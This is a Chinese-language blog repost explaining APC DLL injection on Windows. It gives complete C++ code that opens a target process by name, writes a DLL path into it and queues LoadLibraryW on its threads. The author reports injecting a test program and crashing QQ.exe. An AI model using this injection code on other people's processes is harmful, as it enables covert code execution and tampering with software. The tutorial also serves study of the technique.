DLL注入-APC注入
生活随笔
收集整理的這篇文章主要介紹了
DLL注入-APC注入
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
APC注入
APC注入的原理是利用當線程被喚醒時APC中的注冊函數(shù)會被執(zhí)行的機制,并以此去執(zhí)行我們的DLL加載代碼,進而完成DLL注入的目的,其具體流程如下:
? ? 1)當EXE里某個線程執(zhí)行到SleepEx()或者WaitForSingleObjectEx()時,系統(tǒng)就會產(chǎn)生一個軟中斷(或者是Messagebox彈窗的時候不點OK的時候也能注入)。
? ? 2)當線程再次被喚醒時,此線程會首先執(zhí)行APC隊列中的被注冊的函數(shù)。
? ? 3)利用QueueUserAPC()這個API可以在軟中斷時向線程的APC隊列插入一個函數(shù)指針,如果我們插入的是Loadlibrary()執(zhí)行函數(shù)的話,就能達到注入DLL的目的。
核心函數(shù):
局限:
? 這種注入方式局限性很明顯,一是必須要等待時機,而是當注入成功后,SleepEx或者其他等待函數(shù)直接就會跳過當前等待繼續(xù)往下走,這樣可能造成被注入程序的不穩(wěn)定行,經(jīng)常導(dǎo)致被注入程序崩潰。
代碼:
// LoadExeWin32.cpp : 定義控制臺應(yīng)用程序的入口點。 // #include "stdafx.h" #include <string> #include <windows.h> #include <shlwapi.h> #include <tlhelp32.h> #include <winternl.h> #pragma comment(lib, "shlwapi.lib") #pragma comment(lib,"ntdll.lib")using namespace std;//根據(jù)進程名字獲取pid DWORD GetPidFromName(wstring wsProcessName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE){ return FALSE; } PROCESSENTRY32W pe = {sizeof(pe)}; BOOL bOk; for (bOk = Process32FirstW(hSnapshot, &pe); bOk; bOk = Process32NextW(hSnapshot, &pe)){ wstring wsNowProcName = pe.szExeFile; if(StrStrI(wsNowProcName.c_str() ,wsProcessName.c_str())!= NULL){ CloseHandle(hSnapshot); return pe.th32ProcessID; } } CloseHandle(hSnapshot); return 0; } //把wcCacheInDllPath DLL文件注入進程wsProcessName BOOL Injection_APC(const wstring &wsProcessName ,const WCHAR wcCacheInDllPath[]){ //初始化 DWORD dwProcessId = GetPidFromName(wsProcessName); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId); if (!hProcess){ return FALSE; } PVOID lpData = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD dwRet; if (lpData) { //在遠程進程申請空間中寫入待注入DLL的路徑 WriteProcessMemory(hProcess, lpData, (LPVOID)wcCacheInDllPath, MAX_PATH,&dwRet); } CloseHandle(hProcess); //開始注入 THREADENTRY32 te = {sizeof(THREADENTRY32)}; //得到線程快照 HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD ,0); if (INVALID_HANDLE_VALUE == handleSnap) { return FALSE; } BOOL bStat = FALSE; //得到第一個線程 if (Thread32First(handleSnap,&te)){ do { //進行進程ID對比 if (te.th32OwnerProcessID == dwProcessId) { //得到線程句柄 HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS ,FALSE ,te.th32ThreadID); if (handleThread) { //向線程插入APC DWORD dwRet = QueueUserAPC( (PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData); if (dwRet > 0) { bStat = TRUE; } //關(guān)閉句柄 CloseHandle(handleThread); } } //循環(huán)下一個線程 } while (Thread32Next(handleSnap,&te)); } CloseHandle(handleSnap); return bStat; } //Adds a user-mode asynchronous procedure call (APC) int main(int argc, char* argv[]){ //Sleep(1000*100); Injection_APC(L"Sleep3M.exe" ,L"M.dll");return 0; }然后寫一個測試DLL:
然后再寫一個被注入程序:
?
測試結(jié)果:
注入自己的程序成功:
隨便嘗試了下注入QQ.exe,直接崩潰退出了。
總結(jié)
以上是生活随笔為你收集整理的DLL注入-APC注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: WindowsPE 第五章 导出表
- 下一篇: PowerShell-1.入门及其常用